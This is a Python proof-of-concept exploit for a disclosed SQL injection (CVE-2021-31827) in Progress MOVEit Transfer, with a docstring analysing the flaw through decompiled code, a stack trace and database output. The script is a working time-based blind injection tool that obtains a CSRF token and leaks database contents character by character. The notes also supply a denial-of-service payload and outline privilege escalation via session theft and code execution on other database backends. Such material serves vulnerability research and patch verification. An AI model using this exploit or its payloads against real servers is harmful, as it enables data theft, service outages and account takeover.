#!/usr/bin/env python3 """ Progress MOVEit Transfer (DMZ) SILHuman FolderApplySettingsRecurs SQL Injection Remote Code Execution Vulnerability Steven Seeley of 360 Vulcan Team CVE: CVE-2021-31827 Software: https://www.ipswitch.com/moveit Version: 2020.1 (12.1.1.116) CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) # Summary An authenticated low privileged user can trigger an sql injection which can result in either a denial of service, elevation of privilege or remote code execution (if Postgres or MSSQL is configured). # Notes - Rapid-Fail Protection Maximum Failures is set to 5. This means that we can only crash the target 5 times before the apppool is shutdown and we cause a permanent DoS. To avoid this I used a time based blind injection. - This poc was tested on MySQL and as such only triggers a data leak, but if you want to trigger a DoS, then the following payload triggered 5 times will be sufficient: "1) left join folderperms as sfp on pfp.Username=sfp.Username and 1=1 limit 1-- ". The payload will return a valid result set and trigger a recursive call in the `FolderApplySettingsRecurs` function and eventually cause a stack exhaustion. Likewise if you want to trigger an RCE then you will need to use stacked queries against an instance configured with Postgres or MSSQL server. - The query will take over 5 seconds to return if the character is true when we sleep for 0.71 of a second. ``` mysql> SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (4,1) left join folderperms as sfp on pfp.Username=sfp.Username and if(1=1,sleep(0.71),null) limit 1; +------+------------+----------------+ | ID | FolderPath | FolderPathHash | +------+------------+----------------+ | NULL | NULL | NULL | +------+------------+----------------+ 1 row in set (5.04 sec) ``` # Vulnerability Analysis Inside of the `SILHuman.PerformAction` function we can see: ``` // MOVEit.DMZ.WebApp.SILHuman public void PerformAction(bool IsRecursive = false) { // ... else if (num <= 3595407778U) { if (num <= 3560491993U) { if (num != 3550431888U) { if (num != 3554175998U) { // ... return; } else { if (Operators.CompareString(text7, "folderapplysubfoldersettings", false) != 0) { return; } if (Operators.CompareString(this.siGlobs.Opt01, "", false) != 0) { if (Operators.CompareString(this.siGlobs.Opt02, "", false) == 0) { this.siGlobs.Opt02 = Conversions.ToString(0); } if (Operators.CompareString(this.siGlobs.Opt05, "", false) == 0) { this.siGlobs.Opt05 = "0"; } string arg17 = this.siGlobs.Arg01; bool flag2 = true; SILDictionary sildictionary = null; string left = ""; this.FolderApplySettingsRecurs(arg17, ref flag2, ref sildictionary, ref left, ref this.siGlobs.Opt04); // 1 ``` This function is over 10k lines of code, so I have only included what's relevant for the sake of brevity. `num` is a calculated hash from the attacker supplied `Transaction` parameter and assuming that the attacker supplies `Transaction=folderapplysubfoldersettings` then they can reach *[1]* which is a call to `FolderApplySettingsRecurs`. However the last parameter is coming from the attacker supplied POST body. ``` // MOVEit.DMZ.ClassLib.SILGlobals public void GetWebVarsWEBFORMPOST() { // ... this.Opt04 = SILUtility.XHTMLClean(form.Get("Opt04"), true); // ... } ``` The `XHTMLClean` function will html encode ' characters, but that's ok because we don't need quotes in this sql injection. ``` // MOVEit.DMZ.WebApp.SILHuman // Token: 0x060000FF RID: 255 RVA: 0x000328F8 File Offset: 0x00030AF8 public void FolderApplySettingsRecurs(string ParentID, ref bool IsOrig = true, ref SILDictionary OrigArgs = null, ref string ErrStr = "", ref string SystemFolderTypes = "") { if (IsOrig & OrigArgs == null) { // ... } string query = string.Empty; ADORecordset adorecordset = null; string text = Conversions.ToString(4); if (Operators.CompareString(SystemFolderTypes, "", false) != 0) { text = text + "," + SystemFolderTypes; // 2 } string text2 = string.Empty; string empty = string.Empty; SILUtility.SplitFolderIDAndPathHash(ParentID, ref text2, ref empty); string text3 = "REPLACE(REPLACE(pfp.FolderPath,'_','\\_'),'%','\\%')"; if (this.siGlobs.objWrap.Connection.Engine == SIDBEngine.SQLServer) { text3 = "REPLACE(REPLACE(" + text3 + ",'[','\\['),']','\\]')"; } text3 = "CONCAT(" + text3 + ", CASE WHEN pfp.FolderPath='/' THEN '%' ELSE '/%' END)"; query = string.Concat(new string[] { "SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (", text, // 3 ") LEFT JOIN folderperms AS sfp ON pfp.Username=sfp.Username AND folders.ID=sfp.ID WHERE ", this.siGlobs.objUser.GetMyUsernameWHEREClauseForFolderPerms("pfp"), "AND pfp.ID='", text2, "' AND pfp.FolderPathHash='", empty, "' AND ", this.siGlobs.objUtility.BuildLikeForSQL("sfp.FolderPath", text3, true, false, false, false) }); this.siGlobs.objWrap.DoReadQuery(query, ref adorecordset, true, true); // 4 // ... } ``` At *[2]* and *[3]* the code concatenates the attacker supplied string into a query. Then at *[4]* an sql injection is triggered. But before we can reach `PerformAction`, the `ProcessHumanRequest` function checks if a username is not "Anonymous" which means the attacker will need a low privileged account to trigger this vulnerability. ```c# public void ProcessHumanRequest() { if (!(Operators.CompareString(this.siGlobs.objUser.Username, "Anonymous", false) == 0 | this.siGlobs.objUser.Permission <= (UserPermissionType)4)) // auth check (weak but enough to minimise impact) { this.PerformAction(false); } ``` The full stacktrace can be reviewed below: ``` > midmz.dll!MOVEit.DMZ.WebApp.SILHuman.FolderApplySettingsRecurs(string ParentID, ref bool IsOrig, ref MOVEit.DMZ.Core.SILDictionary OrigArgs, ref string ErrStr, ref string SystemFolderTypes) (IL=0x02B6, Native=0x00007FFACED92E90+0x52E) midmz.dll!MOVEit.DMZ.WebApp.SILHuman.PerformAction(bool IsRecursive) (IL=0x603A, Native=0x00007FFACED61AD0+0xBA1B) midmz.dll!MOVEit.DMZ.WebApp.SILHuman.ProcessHumanRequest() (IL≈0x0037, Native=0x00007FFACED61820+0x61) midmz.dll!MOVEit.DMZ.WebApp.SILHuman.Human_Main() (IL=0x2A7D, Native=0x00007FFACED30080+0x6465) midmz.dll!MOVEit.DMZ.WebApp.SILHuman.GetHumanHTMLNew(ref System.Web.HttpRequest parmRequest, ref System.Web.HttpResponse parmResponse, ref System.Web.SessionState.HttpSessionState parmSession, ref System.Web.HttpApplicationState parmApplicationState) (IL=0x0080, Native=0x00007FFACEBDDE80+0x1A9) midmz.dll!MOVEit.DMZ.WebApp.human.Page_Load(object sender, System.EventArgs e) (IL≈0x0024, Native=0x00007FFACEBDDBA0+0xD9) System.Web.dll!System.Web.UI.Control.OnLoad(System.EventArgs e) (IL≈0x0021, Native=0x00007FFB266F3170+0x6A) System.Web.dll!System.Web.UI.Control.LoadRecursive() (IL=0x002E, Native=0x00007FFB266F31E0+0x44) System.Web.dll!System.Web.UI.Page.ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x04C3, Native=0x00007FFB26701330+0xEC9) System.Web.dll!System.Web.UI.Page.ProcessRequest(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x003C, Native=0x00007FFB267010D0+0x9F) System.Web.dll!System.Web.UI.Page.ProcessRequest() (IL≈0x0014, Native=0x00007FFB26701040+0x4B) System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFB26DD56F0+0xC3) System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFB266C6820+0x58) System.Web.dll!System.Web.Util.AspCompatApplicationStep.ExecuteAspCompatCode() (IL≈0x001F, Native=0x00007FFB26E931C0+0x65) System.Web.dll!System.Web.Util.AspCompatApplicationStep.OnAspCompatExecution() (IL≈0x0024, Native=0x00007FFB26E932D0+0x60) ``` # Exploitation The db user is moveitdmz with limited privileges under MySQL: ``` mysql> SHOW GRANTS for moveitdmz@localhost; +------------------------------------------------------------------+ | Grants for moveitdmz@localhost | +------------------------------------------------------------------+ | GRANT USAGE ON *.* TO `moveitdmz`@`localhost` | | GRANT ALL PRIVILEGES ON `moveitdmz`.* TO `moveitdmz`@`localhost` | +------------------------------------------------------------------+ 2 rows in set (0.00 sec) mysql> ``` Also, stack based queries and inserts/updates are not possible under MySQL. However, an attacker can target the activesessions table to escalate privileges: ``` mysql> select LoginName,SessionID from activesessions; +-----------+--------------------------+ | LoginName | SessionID | +-----------+--------------------------+ | harryh | dkb54yja0xrsvih1iqmcmkmy | +-----------+--------------------------+ 1 row in set (0.00 sec) ``` # Proof of Concept ``` researcher@incite:~$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.1.123 l32c5syb2wiuzy4crf2rulcs researcher@incite:~$ ./poc.py 192.168.1.123 fino23lobcxjrsahtrci5srj (+) targeting 192.168.1.123 (+) obtained csrftoken: 816a81e11788cfec1e503f41aeee3b02390b13e4 (+) sql injection working! (+) MySQL version: 8.0.21-commercial (+) done! ``` """ import re import sys import urllib3 import requests from time import time urllib3.disable_warnings() def determine_bool(target, sessid, csrftk, exp): p = { "Transaction" : "folderapplysubfoldersettings", "CsrfToken": csrftk, "Opt01": 1, "Opt04" : "1) left join folderperms as sfp on pfp.Username=sfp.Username and if(%s,sleep(0.71),null) limit 1-- " % exp } c = { "ASP.NET_SessionId" : sessid } before = time() requests.post("https://%s/human.aspx" % target, data=p, cookies=c, verify=False) after = time() if ((after-before) > 5): return True return False def trigger_sqli(target, sessid, csrftk, char, sql, c_range): for i in c_range: if determine_bool( target, sessid, csrftk, "ascii(substr((%s),%d,1))=%d" % (sql, char, i) ): return chr(i) return -1 def leak_string(target, sessid, csrftk, sql, leak_name, max_length, c_range): sys.stdout.write("(+) %s: " % leak_name) sys.stdout.flush() leak_string = "" for i in range(1,max_length+1): c = trigger_sqli(target, sessid, csrftk, i, sql, c_range) if c == -1: break leak_string += c sys.stdout.write(c) sys.stdout.flush() assert len(leak_string) > 0, "(+) sql injection failed for %s!" % leak_name return leak_string def get_csrf(target, sessid): c = { "ASP.NET_SessionId" : sessid } r = requests.get("https://%s/human.aspx" % target, params={"arg12":"account"}, cookies=c, verify=False) match = re.search("csrftoken\" value=\"(.{40})", r.text) assert match, "(-) was unable to obtain csrf token!" return match.group(1) def main(): if(len(sys.argv) < 3): print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s 192.168.1.123 l32c5syb2wiuzy4crf2rulcs" % sys.argv[0]) return target = sys.argv[1] sessid = sys.argv[2] print("(+) targeting %s" % target) csrftk = get_csrf(target, sessid) print("(+) obtained csrftoken: %s" % csrftk) if determine_bool(target, sessid, csrftk, "1=1") and not determine_bool(target, sessid, csrftk, "1=2"): print("(+) sql injection working!") version = leak_string( target, sessid, csrftk, "select @@version", # target query "MySQL version", # pretty print 20, # the assumed max length of @@version list(range(45,58)) + list(range(97,123)) # decimal charset: 0-9a-z-./ ) print("\n(+) done!") if __name__ == '__main__': main()